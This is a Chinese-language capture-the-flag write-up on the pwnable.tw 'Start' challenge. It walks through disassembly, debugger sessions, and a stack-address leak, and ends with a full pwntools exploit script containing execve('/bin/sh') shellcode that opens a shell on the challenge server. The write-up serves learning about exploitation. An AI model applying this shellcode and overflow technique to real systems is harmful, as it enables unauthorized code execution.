pwnable.tw之Start

这题要被自己郁闷死了
呜呜呜
gdb啊gdb 栈啊栈啊 shellcode啊shellcode 哭了哭了


0x01运行

1
2
3
user@ubuntu:~/workspace/pwnable_tw$ ./start 
Let's start the CTF:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)

段错误可能存在溢出


0x02checksec

1
2
3
4
5
6
7
user@ubuntu:~/workspace/pwnable_tw$ checksec start
[*] '/home/user/workspace/pwnable_tw/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)

0x03IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
.text:08048060                 public _start
.text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
.text:0804809C _start endp ; sp-analysis failed
.text:0804809C
.text:0804809D
.text:0804809D ; =============== S U B R O U T I N E =======================================
.text:0804809D
.text:0804809D ; Attributes: noreturn
.text:0804809D
.text:0804809D ; void exit(int status)
.text:0804809D _exit proc near ; DATA XREF: _start+1↑o
.text:0804809D pop esp
.text:0804809E xor eax, eax
.text:080480A0 inc eax
.text:080480A1 int 80h ; LINUX - sys_exit
.text:080480A1 _exit endp ; sp-analysis failed
.text:080480A1
.text:080480A1 _text ends
.text:080480A1
.text:080480A1
.text:080480A1 end _start

int 0x80 系统调用 eax 为功能号

1
2
3
4
5
eax = 4                         eax = 3 
edx nbyte edx nbyte
ebx fd <为1表示标准输出> ebx fd <为0表示标准输入 >
ecx buf ecx buf
int 0x80 <SYS_write> int 0x80 <SYS_read>

0x03思路

Let’
s st
art
the
CTF:
ret1_add
saved esp

看到他什么保护也没有开,而且也存在溢出,从IDA中可以看出它的SYS_read是存在溢出的,他在 ret1_add-20 处开始写可以写0x3c,可以覆盖掉ret1,我们覆盖这个ret1改成0x08048087 让他跳转过去可以实现栈溢出!!!!此处一直在踩雷,现在也没明白这gdb是怎么了。
记录一下我踩的坑。
我们这里劫持了程序流之后,SYS_write会输出saved esp这个值,这个值正常是与栈地址有直接关系的!!!
但是!!!我的gdb啊我pwntools里的gdb啊,真的是。。。他是抽了吗?!!!
直接脚本里用pwntools里的gdb里调试时,一直显示saved esp是0xffc8bf0a,从来不变,一直泄漏这个,但是栈的地址却一直在变,每次都没神联系,就一直看啊看啊,别人的偏移都是定的,我的怎么一直就这个样,真的是。。。哇的一声哭出来。
然后我换了电脑再跑!!!!嘿!一下就对了,saved esp是会变的,但是同时它的地址跟他是有关系的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
pwndbg> 

[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x0
ECX: 0xffffd134 ("\net's start the"...)
EDX: 0x3c ('<')
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xffffd148 --> 0x804809d (<_exit>: pop esp)
EIP: 0x804809c (<_start+60>: ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048095 <_start+53>: mov al,0x3
0x8048097 <_start+55>: int 0x80
0x8048099 <_start+57>: add esp,0x14
=> 0x804809c <_start+60>: ret
0x804809d <_exit>: pop esp
0x804809e <_exit+1>: xor eax,eax
0x80480a0 <_exit+3>: inc eax
0x80480a1 <_exit+4>: int 0x80
[------------------------------------stack-------------------------------------]
0000| 0xffffd148 --> 0x804809d (<_exit>: pop esp)
0004| 0xffffd14c --> 0xffffd150 --> 0x1
0008| 0xffffd150 --> 0x1
0012| 0xffffd154 --> 0xffffd31b ("/home/user/work"...)
0016| 0xffffd158 --> 0x0
0020| 0xffffd15c --> 0xffffd341 ("XDG_VTNR=7")
0024| 0xffffd160 --> 0xffffd34c ("XDG_SESSION_ID="...)
0028| 0xffffd164 --> 0xffffd35e ("XDG_GREETER_DAT"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804809c in _start ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
EAX 0x1
EBX 0x0
ECX 0xffffd134 ◂— 0x2774650a ("\net'")
EDX 0x3c
EDI 0x0
ESI 0x0
EBP 0x0
*ESP 0xffffd148 —▸ 0x804809d (_exit) ◂— pop esp
*EIP 0x804809c (_start+60) ◂— ret
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x8048091 <_start+49> xor ebx, ebx
0x8048093 <_start+51> mov dl, 0x3c
0x8048095 <_start+53> mov al, 3
0x8048097 <_start+55> int 0x80
0x8048099 <_start+57> add esp, 0x14
0x804809c <_start+60> ret

0x804809d <_exit> pop esp
0x804809e <_exit+1> xor eax, eax
0x80480a0 <_exit+3> inc eax
0x80480a1 <_exit+4> int 0x80
0x80480a3 add byte ptr [eax], al
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffffd148 —▸ 0x804809d (_exit) ◂— pop esp
01:00040xffffd14c —▸ 0xffffd150 ◂— 0x1
02:00080xffffd150 ◂— 0x1
03:000c│ 0xffffd154 —▸ 0xffffd31b ◂— 0x6d6f682f ('/hom')
04:00100xffffd158 ◂— 0x0
05:00140xffffd15c —▸ 0xffffd341 ◂— 'XDG_VTNR=7'
06:00180xffffd160 —▸ 0xffffd34c ◂— 0x5f474458 ('XDG_')
07:001c│ 0xffffd164 —▸ 0xffffd35e ◂— 0x5f474458 ('XDG_')
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 804809c _start+60
pwndbg>

看它此时的saved esp是0xffffd150,但栈的地址是0xffffd14c,是一个固定差值。再调几次都具有这样的关系,不像我之前完全没有关系啊。

所以我们找到了跳转到的shellcode的地址。
因为shellcode被我们放在栈上的,所以要知道栈的地址。

踩的第二个坑shellcode
一开始是惯性思维,习惯性的直接从buf处开始写shellcode然后控制程序往上跳调到buf执行shellcode。但是pwntools自带的 shellcraft.sh() 的shellcode大于的了buf到ret1的pading大小。所以不能用,而且也不能往前面放,padding只有0x14个字节的大小,所以我们要把它往后放,劫持程序往下走。而且shellcode不知咋回事,有一个23字节的不能用,找了另外一个

1
'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

0x04EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

p = remote('chall.pwnable.tw',10000)
#p = process('./start')
context.log_level = 'debug'

payload1 = 'A'*20 + p32(0x08048087)
p.recvuntil(':')
p.send(payload1)
stack = u32(p.recv(4))
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload2 = 'A'*20 + p32(stack + 20) + shellcode
p.send(payload2)
p.interactive()